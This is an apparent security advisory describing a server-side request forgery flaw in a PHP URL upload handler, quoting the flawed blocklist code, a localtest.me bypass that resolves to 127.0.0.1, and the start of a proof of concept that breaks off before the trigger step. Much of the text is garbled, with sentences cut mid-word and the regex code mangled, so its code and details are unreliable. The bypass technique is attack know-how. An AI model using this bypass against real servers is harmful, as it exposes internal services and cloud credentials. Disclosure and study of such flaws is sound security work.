



### ### Summary

A Server-Side Request Forgery vulnerability exists in the URL-based authenticated attacker can bypass the IP blocklist and force the se localhost services and cloud metadata endpoints.

### ## Vulnerability

The URL upload handler extracts the hostname using `parse_url()` ar

```
```php
$domain = parse_url($url, PHP_URL_HOST);

if (preg_match("/^localhost$|^127(?:\.\d{0,2})\.\d{0,2}$|^(?:0*\$err = array("message" => "URL is not allowed");
    exit();
}

@$success = copy($url, $temp_file, $ctx);
```
```

The blocklist only checks string representations and misses several other internal addresses:

|   |
|---|
| Bypass   Resolves To                            |
| --- ---   |
| `http://localtest.me/`   127.0.0.1 (public DNS) |

When the request succeeds, the response body is saved as a file in manager viewer – allowing full response exfiltration.

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### ## Proof of Concept

**\*\*Step 1 – Create the simulated internal service response:\*\***

```
```bash
echo "SSRF_CONFIRMED" > /tmp/test.txt
```
```

**\*\*Step 2 – Start a PHP server on localhost:9090 simulating an inter**

```
```bash
php -S 127.0.0.1:9090 -t /tmp/
```
```

**\*\*Step 3 – Trigger the SSRF using `localtest.me` (resolves to 127.0**

```
```bash
```